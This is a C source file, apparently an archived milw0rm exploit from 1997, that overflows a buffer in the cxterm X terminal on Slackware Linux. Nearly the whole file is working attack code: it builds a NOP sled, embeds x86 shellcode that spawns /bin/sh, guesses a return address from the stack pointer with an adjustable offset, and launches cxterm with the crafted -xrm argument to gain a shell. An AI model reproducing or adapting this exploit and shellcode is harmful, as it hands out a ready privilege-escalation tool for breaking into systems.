477bcbdcc0
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68 lines
1.7 KiB
C
Executable file
68 lines
1.7 KiB
C
Executable file
/*
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cxterm buffer overflow exploit for Linux. This code is tested on
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both Slackware 3.1 and 3.2.
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Ming Zhang
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mzhang@softcom.net
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*/
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#include <unistd.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <fcntl.h>
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#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
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#define BUFFER_SIZE 1024
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#define DEFAULT_OFFSET 50
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#define NOP_SIZE 1
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char nop[] = "\x90";
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char shellcode[] =
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/bin/sh";
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unsigned long get_sp(void) {
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__asm__("movl %esp,%eax");
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}
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void main(int argc,char **argv)
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{
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char *buff = NULL;
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unsigned long *addr_ptr = NULL;
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char *ptr = NULL;
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int i,OffSet = DEFAULT_OFFSET;
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/* use a different offset if you find this program doesn't do the job */
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if (argc>1) OffSet = atoi(argv[1]);
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buff = malloc(2048);
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if(!buff)
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{
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printf("Buy more RAM!\n");
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exit(0);
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}
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ptr = buff;
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for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
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i+=NOP_SIZE) {
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memcpy (ptr,nop,NOP_SIZE);
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ptr+=NOP_SIZE;
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}
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for(i=0;i < strlen(shellcode);i++)
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*(ptr++) = shellcode[i];
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addr_ptr = (long *)ptr;
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for(i=0;i < (8/4);i++)
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*(addr_ptr++) = get_sp() + OffSet;
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ptr = (char *)addr_ptr;
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*ptr = 0;
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(void) fprintf(stderr,
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"This bug is discovered by Ming Zhang
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(mzhang@softcom.net)\n");
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/* Don't need to set ur DISPLAY to exploit this one, cool huh? */
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execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
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}
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// milw0rm.com [1997-05-14]
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